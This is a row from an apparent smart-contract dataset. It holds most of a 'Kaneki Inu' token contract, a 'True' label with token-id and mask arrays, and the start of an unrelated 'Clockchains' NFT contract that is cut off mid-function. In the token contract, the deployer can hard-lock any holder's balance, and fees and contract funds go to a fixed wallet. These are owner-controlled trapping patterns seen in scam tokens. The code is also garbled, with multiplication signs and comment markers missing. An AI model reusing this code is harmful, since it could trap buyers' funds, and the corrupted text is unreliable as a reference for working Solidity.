require(b > 0, errorMessage); uint256 c = a / b; return c; } } library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /* * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ / event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /* * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. / event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /* * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) / event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /* * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ / modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev Returns `true` if `account` has been granted `role`. / function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /* * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ / function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /* * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. / function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /* * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. / function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /* * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. / function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /* * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. / function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /* * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== / function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /* * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. / function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KanekiInu is Context, IERC20, Ownable, AccessControl { using SafeMath for uint256; struct LockBot { bool locked; uint256 lockedFrom; uint256 initLockedBalance; bool hardLock; } mapping(address => LockBot) private _listBot; bytes32 public constant LOCKER_ROLE = keccak256("LOCKER_ROLE"); uint256 public constant LOCK_BOT_DAYS = 7; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redistributionAddress; uint256 private _feeAddr2; address payable private _marketingAddress; string private constant _name = "Kaneki Inu"; string private constant _symbol = "KANEKI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 public openTradingTime; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } modifier onlyAdmin() { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "ADMIN role required"); _; } modifier onlyLocker() { require(hasRole(LOCKER_ROLE, _msgSender()), "LOCKER role required"); _; } constructor () { _marketingAddress = payable(0xdD967516FC28559DB9Eb0be414f1a0fE888AAf5e); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(LOCKER_ROLE, _msgSender()); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function isBot(address bot) external view returns (bool) { return _listBot[bot].locked; } function getLockBot(address bot) external view returns (LockBot memory) { return _listBot[bot]; } function addToListBotNormal(address bot) external onlyLocker { _listBot[bot] = LockBot(true, block.timestamp, balanceOf(bot), false); } function addToListBotHardLock(address bot) external onlyLocker { _listBot[bot] = LockBot(true, block.timestamp, balanceOf(bot), true); } function removeLockBot(address bot) external onlyLocker { _listBot[bot].locked = false; _listBot[bot].hardLock = false; } function _getBalanceUnlocked(address bot) internal view returns (uint256 unlockedBalance) { LockBot memory info = _listBot[bot]; uint256 daysPassed = (block.timestamp - info.lockedFrom) / 1 days; if (info.locked && daysPassed < LOCK_BOT_DAYS) { unlockedBalance = (daysPassed info.initLockedBalance) / LOCK_BOT_DAYS; } else { unlockedBalance = info.initLockedBalance; } return unlockedBalance; } function remainBalanceLocked(address bot) public view returns (uint256) { return _listBot[bot].initLockedBalance - _getBalanceUnlocked(bot); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); // Check if the address is a bot if (_listBot[from].locked) { uint256 lockedBalance = remainBalanceLocked(from); require( !_listBot[from].hardLock && (balanceOf(from) - amount) >= lockedBalance, "bot cannot transfer locked balance" ); } if (from != address(this)) { _redistributionAddress = 1; _feeAddr2 = 4; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { if (block.timestamp < openTradingTime + 30 seconds) { require(amount <= _maxTxAmount); } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 300000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner { _maxTxAmount = _tTotal; } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); openTradingTime = block.timestamp; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redistributionAddress, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2184, 1011, 5641, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 4037, 1024, 16770, 1024, 1013, 1013, 8472, 3211, 2378, 2226, 1012, 4012, 23921, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 8472, 23630, 15879, 2121, 2278, 11387, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 24264, 9468, 7971, 8663, 13181, 2140, 1063, 3853, 2038, 13153, 2063, 1006, 27507, 16703, 2535, 1010, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 2131, 13153, 13775, 10020, 1006, 27507, 16703, 2535, 1007, 6327, 3193, 5651, 1006, 27507, 16703, 1007, 1025, 3853, 3946, 13153, 2063, 1006, 27507, 16703, 2535, 1010, 4769, 4070, 1007, 6327, 1025, 3853, 7065, 11045, 13153, 2063, 1006, 27507, 16703, 2535, 1010, 4769, 4070, 1007, 6327, 1025, 3853, 17738, 17457, 13153, 2063, 1006, 27507, 16703, 2535, 1010, 4769, 4070, 1007, 6327, 1025, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 4604, 2121, 1010, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1065, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 3647, 18900, 2232, 1024, 2804, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 4942, 1006, 1037, 1010, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 4942, 6494, 7542, 2058, 12314, 1000, 1007, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1010, 7561, 7834, 3736, 3351, 1007, 1025, 21318, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-10-23 / /** Submitted for verification at Etherscan.io on 2021-10-11 / // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.8.0; interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom(address from, address to, uint256 tokenId) external; function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } pragma solidity ^0.8.0; interface IERC721Receiver { function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } pragma solidity ^0.8.0; interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } pragma solidity ^0.8.0; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Insufficient balance!"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } function verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) internal pure returns (bytes memory) { if(success) { return returndata; } else { if(returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity ^0.8.0; library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; function toString(uint256 value) internal pure returns (string memory) { if(value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function toHexString(uint256 value) internal pure returns (string memory) { if(value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } pragma solidity ^0.8.0; abstract contract ERC165 is IERC165 { function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } pragma solidity ^0.8.0; contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; string private _name = "Clockchains v1.0"; string private _symbol = "CHCLOCKS"; address[365] private _owners; bool private _postBigBang = false; mapping(address => uint256) private _balances; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) {} function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { require(_postBigBang == true, "Attempted to peek before Big Bang."); address owner = _owners[tokenId]; return owner; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } function _baseURI() internal view virtual returns (string memory) { return ""; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "Not authorized!"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "Not authorized!" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "Nonexistent token!"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom(address from, address to, uint256 tokenId) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "Not authorized!"); _transfer(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "Not authorized!"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "Attempted transfer to non ERC721Receiver implementer!"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "Token does not exist!"); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { require(1 == 2, "Disabled function!"); } function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { require(1 == 2, "Disabled function!"); } function _mint(address to, uint256 tokenId) internal virtual { require(1 == 2, "Disabled function!"); } function _bigbang() internal virtual { address[365] memory _tempMem; for(uint256 i = 0; i < 365; i++) { _tempMem[i] = 